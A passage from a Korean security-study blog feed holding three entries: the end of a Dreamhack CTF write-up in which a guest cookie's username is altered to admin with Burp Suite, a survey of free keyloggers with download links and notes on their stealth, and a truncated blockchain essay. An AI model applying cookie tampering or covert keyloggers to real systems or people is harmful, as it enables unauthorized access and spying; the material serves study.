&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8Eu4M/btsqaQxSdPU/AkkdHnVX8vkTFL7j7SWFk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8Eu4M/btsqaQxSdPU/AkkdHnVX8vkTFL7j7SWFk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8Eu4M/btsqaQxSdPU/AkkdHnVX8vkTFL7j7SWFk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8Eu4M%2FbtsqaQxSdPU%2FAkkdHnVX8vkTFL7j7SWFk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;715&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp;게스트&amp;nbsp;계정&amp;nbsp;로그인이&amp;nbsp;가능한&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zLUyK/btsp3l0vFM9/qM7LMXYC9e5LkrLfNWUIH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zLUyK/btsp3l0vFM9/qM7LMXYC9e5LkrLfNWUIH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zLUyK/btsp3l0vFM9/qM7LMXYC9e5LkrLfNWUIH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzLUyK%2Fbtsp3l0vFM9%2FqM7LMXYC9e5LkrLfNWUIH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;717&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7.&amp;nbsp;버프&amp;nbsp;슈트&amp;nbsp;툴을&amp;nbsp;사용하여&amp;nbsp;쿠키&amp;nbsp;값에&amp;nbsp;존재하는&amp;nbsp;username&amp;nbsp;값을&amp;nbsp;admin으로&amp;nbsp;변조하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;719&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfdSgV/btsp6rzr7zW/G2wdIpgkjkhkOWevU1Km9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfdSgV/btsp6rzr7zW/G2wdIpgkjkhkOWevU1Km9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfdSgV/btsp6rzr7zW/G2wdIpgkjkhkOWevU1Km9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfdSgV%2Fbtsp6rzr7zW%2FG2wdIpgkjkhkOWevU1Km9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1231&quot; height=&quot;719&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;719&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8.&amp;nbsp;admin&amp;nbsp;계정으로&amp;nbsp;접속이&amp;nbsp;되었으며,&amp;nbsp;플래그&amp;nbsp;값을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vGM9a/btsp9ZIpMwj/thpKkWLbphzOJdMjU2kTWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vGM9a/btsp9ZIpMwj/thpKkWLbphzOJdMjU2kTWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vGM9a/btsp9ZIpMwj/thpKkWLbphzOJdMjU2kTWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvGM9a%2Fbtsp9ZIpMwj%2FthpKkWLbphzOJdMjU2kTWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1237&quot; height=&quot;717&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/웹해킹문제</category>
      <category>cookie</category>
      <category>드림핵</category>
      <category>드림핵cookie</category>
      <category>드림핵쿠키</category>
      <category>웹해킹</category>
      <category>웹해킹문제</category>
      <category>해킹</category>
      <category>해킹문제</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/114</guid>
      <comments>https://geru.tistory.com/114#entry114comment</comments>
      <pubDate>Sun, 6 Aug 2023 18:40:25 +0900</pubDate>
    </item>
    <item>
      <title>무료 키로거 정리</title>
      <link>https://geru.tistory.com/96</link>
      <description>&lt;p&gt;&lt;b&gt;무료 키로거들&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Spyrix Free Keylogger&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;-&amp;gt; 키 입력, 클립 보드 텍스트 캡처, 스크린숏, 사운드 녹음, 경고 기능&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;암호로 보호 할 수도 있음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;작업 관리자에 표시되며 설치 폴더는 숨겨지지 않음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;일반 사용자에게 쉽게 식별&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;(&lt;a href=&quot;https://www.raymond.cc/blog/download/did/1456/&quot;&gt;www.raymond.cc/blog/download/did/1456/&lt;/a&gt;)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;BlackBox Express&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;-&amp;gt; 키로거로 사용할 수 있는 보안 모니터링 도구&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;로컬 PC 1대와 원격 PC 200대를 모니터링 가능&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;키 입력, 웹 검색, 실행된 프로그램, 방문한 웹 사이트, 이메일 클라이언트 프로그램, 웹 메일, 인스턴트 메시징 채팅 프로그램을 기록, 스크린 숏으로 캡처 가능&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;특정 사용자를 모니터링에서 제외하고 키워드, 웹 사이트 및 프로그램에 대한 경고를 추가할 수있음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;이것 역시 바탕화면, 시작 메뉴, 설치된 프로그램 목록 및 프로그램 파일에 표시된다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;암호 보호가 지원되어 다른 사용자는 수집된 로그를 볼 수 없음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;(&lt;a href=&quot;https://www.raymond.cc/blog/download/did/1458/&quot;&gt;www.raymond.cc/blog/download/did/1458/&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;KidLogger&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;-&amp;gt; 오픈소스 사용자 활동 모니터링 도구&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;키 입력과 클립 보드를 기록함&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;USB 드라이브 삽입, 파일, 폴더 활동, 마이크 오디오, 브라우저 기록을 기록 skype 비디오를 포함한 스크린 숏을 찍을 수 있음&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;작업 관리자, 시작 메뉴, 프로그램 파일 폴더 및 설치된 프로그램 목록에 표시됨&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;이것 역시 사용자가 식별하기 좋음&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;b&gt;(&lt;a href=&quot;https://www.raymond.cc/blog/download/did/1459/&quot;&gt;www.raymond.cc/blog/download/did/1459/&lt;/a&gt;)&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Real Free Keylogger&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;-&amp;gt; 단순한 노 프릴 키로거이며 더 이상 업데이트되지 않음&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;설치 후 초기 실행 중에 프로그램을 보호하기 위해 암호를 설정하라는 메시지가 표시됨&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;사용자만 설정에 액세스하고 로그를 볼 수 있음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;스텔스 모드에서 실행될 때 프로그램을 시작하기 위해 Ctrl + Alt + X를 설정할 수 있음 (유료 버정)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;자동으로 로깅을 시작하는 스케줄러와 함께 제공되며 로그 파일은 HTML 파일을 내보낼 수 있음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;(&lt;a href=&quot;https://www.raymond.cc/blog/download/did/1460/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.raymond.cc/blog/download/did/1460/&lt;/a&gt;)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Revealer Keylogger Free&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;-&amp;gt; 키 입력을 기록하고 여러 언어를 지원&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;모든/선택된 사용자 시작 설정, 권한 상승, Ctrl + Alt + F9, 암호 보호 및 로그 정리를 제공&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;스크린 숏 캡처 및 자동 전송 옵션은 유료 기능&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;시스템 트레이, 시작 메뉴 또는 설치된 프로그램 목록에 표시되지 않음&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;제거하려면 프로그램을 실행하고 오른쪽 상단의 도움말 아이콘을 클릭 한 다음 &quot;프로그램 종료&quot;로 이동하여 제거 선택&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;프로세스, 프로그램 및 시작 항목을 숨기는 옵션은 유료&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;(&lt;a href=&quot;https://www.raymond.cc/blog/download/did/1461/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.raymond.cc/blog/download/did/1461/&lt;/a&gt;)&lt;/b&gt;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>무료키로거</category>
      <category>악성코드</category>
      <category>악성코드 조사</category>
      <category>키로거</category>
      <category>키로거 다운</category>
      <category>키로거 다운로드</category>
      <category>키로거 조사</category>
      <category>키로거 종류</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/96</guid>
      <comments>https://geru.tistory.com/96#entry96comment</comments>
      <pubDate>Sun, 28 Feb 2021 16:12:19 +0900</pubDate>
    </item>
    <item>
      <title>블록체인이 왜 각광받고 있는지에 대한 나의 생각</title>
      <link>https://geru.tistory.com/91</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 서론&lt;/h2&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;블록체인은 &lt;/span&gt;&lt;span&gt;IoT, &lt;/span&gt;&lt;span&gt;빅데이터&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;인공지능 등과 같이 제&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;차 산업혁명 기술 중 하나로 각광받고 있다&lt;/span&gt;&lt;span&gt;. IoT&lt;/span&gt;&lt;span&gt;나 인공지능 등의 기술은 발전하면서 실생활에 아주 편리하게 쓰일 수 있기 때문에 제 4차 산업 혁명의 핵심 기술로 느껴진다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 블록체인은 &lt;/span&gt;&lt;span&gt;&amp;ldquo;&lt;/span&gt;&lt;span&gt;비트코인&lt;/span&gt;&lt;span&gt;?&amp;rdquo;, &amp;ldquo;&lt;/span&gt;&lt;span&gt;화폐가 이미 존재하는데 왜 전자 암호화폐가 필요한 거지&lt;/span&gt;&lt;span&gt;?&amp;rdquo; &lt;/span&gt;&lt;span&gt;같은 의문이 든다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그렇다면 블록체인은 왜 제&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;차 산업혁명 기술 중 하나로 각광받고 있을까&lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 본론&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;블록체인은 무엇인가&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;이것은 데이터 분산 처리 기술로 네트워크에 참여하는 모든 사용자가 모든 거래 내역 등의 데이터를 분산&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;저장하는 기술을 말한다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;블록은 개인과 개인의 거래의 데이터가 기록되는 장부가 되고 이런 블록들은 형성된 후 시간에 따라 순차적으로 연결된 체인의 구조를 가지게 되는데 이런 형태를 보고 블록체인이라는 이름을 붙였다&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;블록체인의 활용 분야&lt;br /&gt;1) 음식의 유통 경로 추적&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp; &amp;nbsp;블록체인은 흔히 알고 있는 비트코인 외에도 다른 분야에서 사용될 수 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;영국의 소프트웨어 회사 프로비넌스&amp;nbsp; &amp;nbsp; &amp;nbsp;는 블록체인 기술을 음식의 유통 경로 추적에 사용하고 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;블록체인 기술을 트래킹 기술과 결합해 소프트웨어&amp;nbsp; &amp;nbsp; &amp;nbsp;를 만들어 재료가 추수된 곳부터 최종 소비자가 구입하는 지점까지의 전체 유통 경로를 꼼꼼하게 추적하기 때문&amp;nbsp; &amp;nbsp; &amp;nbsp;에 소비자들은 자신이 무엇을 먹고 있는지 명확하게 확인을 할 수 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;2) &lt;/span&gt;&lt;/span&gt;디지털 콘텐츠 &lt;br /&gt;&amp;nbsp; &amp;nbsp;관리&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; 웹 환경에서 소비자들은 콘텐츠를 만든 아티스트에게 돈을 지불하지 않고 불법 복제된 콘텐츠를 매우 쉽게&amp;nbsp; &amp;nbsp; &amp;nbsp;이용할 수 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이것을 막기 위해 아스크라이브 같은 스타트업들이 블록체인 기반의 툴로 디지털&amp;nbsp; 미디어 소비&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;에 대한 저작권&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;권한&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;결제를 관리할 수 있는 소프트웨어를 개발하고 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;블록체인은 콘텐츠 원저자를 증명하&amp;nbsp; &amp;nbsp; &amp;nbsp;는 것과 해당 콘텐츠에 누가 접근했는지 추적할 수 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;br /&gt;&lt;br /&gt;3) 투표&lt;br /&gt;&amp;nbsp; &amp;nbsp;우선 전자 투표가 종이 투표보다 훨씬 효율적이다&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;하지만 전자 투표 시스템의 보안과 투표 조작 가능성도 존재&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;한다. 하지만 블록체인에 투표 기록을 저장한다면 전자 투표 절차의 진위와 신뢰성을 강화하는 것에 도움을 줄&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;수 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;4) 암호화폐&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;블록체인 기술이 적용된 것 중 가장 많이 알려진 것은 암호화폐이다&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;암호화폐는 암호 기술을 이용하여 만든 디&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;지털 화폐이고 네트워크로 연결된 인터넷 공간에서 암호화된 데이터 형태로 사용된다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;지폐 같은 실물이 아니라&amp;nbsp; &amp;nbsp; &amp;nbsp;디지털 데이터 형태로 존재하기 때문에 가상화폐라고도 한다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;기존의 화폐와 비교하여 암호화폐가 가지는 의미&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;1) 비잔티움 장군 문제&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;432&quot; data-origin-height=&quot;346&quot; width=&quot;454&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0SY2o/btqXZI84VOw/kmVBW3rp03bOdsWreT9cOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0SY2o/btqXZI84VOw/kmVBW3rp03bOdsWreT9cOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0SY2o/btqXZI84VOw/kmVBW3rp03bOdsWreT9cOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0SY2o%2FbtqXZI84VOw%2FkmVBW3rp03bOdsWreT9cOK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;432&quot; data-origin-height=&quot;346&quot; width=&quot;454&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;A&lt;/span&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;span&gt;F&lt;/span&gt;&lt;span&gt;까지를 장군이라고 가정하고 장군들이 성을 함락시킨다고 생각해보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;281&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UckUE/btqXYpPNi0d/KEycF6kLsNKaiZeD7AxQX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UckUE/btqXYpPNi0d/KEycF6kLsNKaiZeD7AxQX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UckUE/btqXYpPNi0d/KEycF6kLsNKaiZeD7AxQX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUckUE%2FbtqXYpPNi0d%2FKEycF6kLsNKaiZeD7AxQX0%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;281&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;위의 그림과 같이 &lt;/span&gt;&lt;span&gt;A&lt;/span&gt;&lt;span&gt;장군이 &lt;/span&gt;&lt;span&gt;B&lt;/span&gt;&lt;span&gt;장군에게 &lt;/span&gt;&lt;span&gt;&amp;lsquo;&lt;/span&gt;&lt;span&gt;내일 오후 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;시에 도시를 같이 점령하자&lt;/span&gt;&lt;span&gt;&amp;rsquo;&lt;/span&gt;&lt;span&gt;라고 전달했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그러면 &lt;/span&gt;&lt;span&gt;B&lt;/span&gt;&lt;span&gt;장군이 &lt;/span&gt;&lt;span&gt;C&lt;/span&gt;&lt;span&gt;장군에게 이 계획을 전달했다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;624&quot; data-origin-height=&quot;115&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1M0A1/btqXY0a5YJp/2CHQ4NZYsjfSvt4WX2f9BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1M0A1/btqXY0a5YJp/2CHQ4NZYsjfSvt4WX2f9BK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1M0A1/btqXY0a5YJp/2CHQ4NZYsjfSvt4WX2f9BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1M0A1%2FbtqXY0a5YJp%2F2CHQ4NZYsjfSvt4WX2f9BK%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;624&quot; data-origin-height=&quot;115&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;하지만 배신자 &lt;/span&gt;&lt;span&gt;F&lt;/span&gt;&lt;span&gt;장군이 &lt;/span&gt;&lt;span&gt;E&lt;/span&gt;&lt;span&gt;장군에게 &lt;/span&gt;&lt;span&gt;&amp;lsquo;&lt;/span&gt;&lt;span&gt;내일 오후 &lt;/span&gt;&lt;span&gt;11&lt;/span&gt;&lt;span&gt;시에 도시를 같이 점령하자&lt;/span&gt;&lt;span&gt;&amp;rsquo;&lt;/span&gt;&lt;span&gt;라고 가짜 계획을 전달 &lt;/span&gt;&lt;span&gt;E&lt;/span&gt;&lt;span&gt;장군에게 전달했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그리고 &lt;/span&gt;&lt;span&gt;E&lt;/span&gt;&lt;span&gt;장군은 잘못된 계획을 &lt;/span&gt;&lt;span&gt;D&lt;/span&gt;&lt;span&gt;장군에게 전달하여 결국 이 전쟁은 패배했다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;이 문제를 해결할 수 있는 